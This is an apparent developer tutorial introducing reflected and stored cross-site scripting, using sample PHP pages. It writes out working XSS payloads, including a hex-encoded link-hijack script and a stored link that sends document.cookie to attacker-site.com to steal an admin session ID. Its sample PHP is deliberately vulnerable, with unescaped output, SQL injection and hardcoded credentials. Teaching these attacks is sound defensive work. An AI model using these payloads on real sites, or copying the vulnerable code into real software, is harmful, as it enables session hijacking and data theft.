Introduction
This article introduce XSS (Cross Site Scripting) attacks and and their two types.
Background
A XSS attack usually happens on a web page, and as a developer we should all know what's XSS and how to avoid XSS attacks to keep our web pages safe. This article just introduces XSS; I will write another article to show how to avoid the XSS attacks.
what is XSS attack ?
XSS is the abbreviation of 'Cross Site Scripting', it's kind like SQL injection attack. SQL injection attacks use SQL statements as the user's input to insert, update, or delete data in a database. A XSS attack uses malignant javascripts to control a user's browser. XSS attacks can be divided into two types:
1. Non-Persistent attack
2. Persistent attack
we will get familiar with this two kinds of XSS attack through some examples.
1. Non-Persistent attack
As the type title implies, non-persistent attack is one-time attack. It is only effective when a user accesses that page in that moment. Non-persisten attack requires the user to access a URL that has already ben changed by the attacker. When the user clicks that link, the browser will execute the malignant script and the attack is succesful.
Assume we have the below index.php page:
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http:
?>
This page will display two lines of information:
- Get 'name' parameter from URL and display it on page.
- Display a link that can jump to another page.
At this time, if the attacker uses the following link:
index.php?name=guest<script>alert('attacked')</script>
When the user clicks that link, it will generate the below HTML code and an alert dialog with message 'attack' will popup:
Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.codeproject.com/steve/'>Click to Download</a>
Apart from inserting an alert box, the attacker can also use the below code to change the URL:
index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
When the user clicks the above URL that the attacker provided, the index.php page was injected with the script scripts, and the source code of index.php page would be as below:
Welcome
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='http://www.codeproject.com/steve/'>Click to Download</a>
when user clicks the 'Click to Download' link, the user would be jump to the link that attacker provided.
For the URL that is used for attack, usually the attacker wouldn't use above readable code, they would convert it into another format, such as:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%6
9%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74
%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70
%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2. Persistent Attack
Persistent attack will store attacker's data into the server of the website. The attack behaviours will be kept alive as long as the data exists. Let's take a look at an example that uses a persistent attack to get the Session ID.
Session background knowledge:
We know that HTTP is a Stateless protocol: all requests and responses are individual. Sometimes we need to store the state information. e.g. after the user logs into a website. During their session the user should not been asked to input username and password. In this scenario, we use cookies and session to store the user's state infomation.
When the user logs in the first time, the web server will create a unique session ID for the user and send a cookies to the browser at the same time. Cookies keep useful data that will need to be used and Session ID is the unique identification attached to this data. The following requests are all based on this Session ID.
The attacker can provide a link that, when clicked by a user, will link a message that contains the session ID and will send to the attacker's server. Then the attacker can get that user's session ID and his authority.
Now there is a login.php page, it will create a session if the user inputs the correct username and password.
<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>
There is another page 'home.php', for admins. This page will display all users. For non-admins the page will contain an input box where they can insert a new user name into the database (ie create their own new account).
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?>
Now, let take a look how to get the admin's session ID when the current user is not an admin.
First, the attacker logs into the website as a normal user, then he inputs the below content into a text box:
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">steve</a>
The attacker provides a data that with <a> element and this data will store in database. When the admin logs in, the user list that contains user 'steve' will display. If the admin clicks user 'steve' the attacker will get admin's session id on the server of "attacker-site.com":
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
Once the attacker gets the session id, he can get all the admin's authority. Also, because the attack data is already stored in the database, as long as the attack data is not deleted, the attack behaviour will always be available.
Of course, not only Persistent XSS attack can steal session ID and cookie infomation, Non-Persistent Xss attack also can do this. As long as the attacker can trick the user to click a special link that can upload the infomation of document.cookie to a specific server.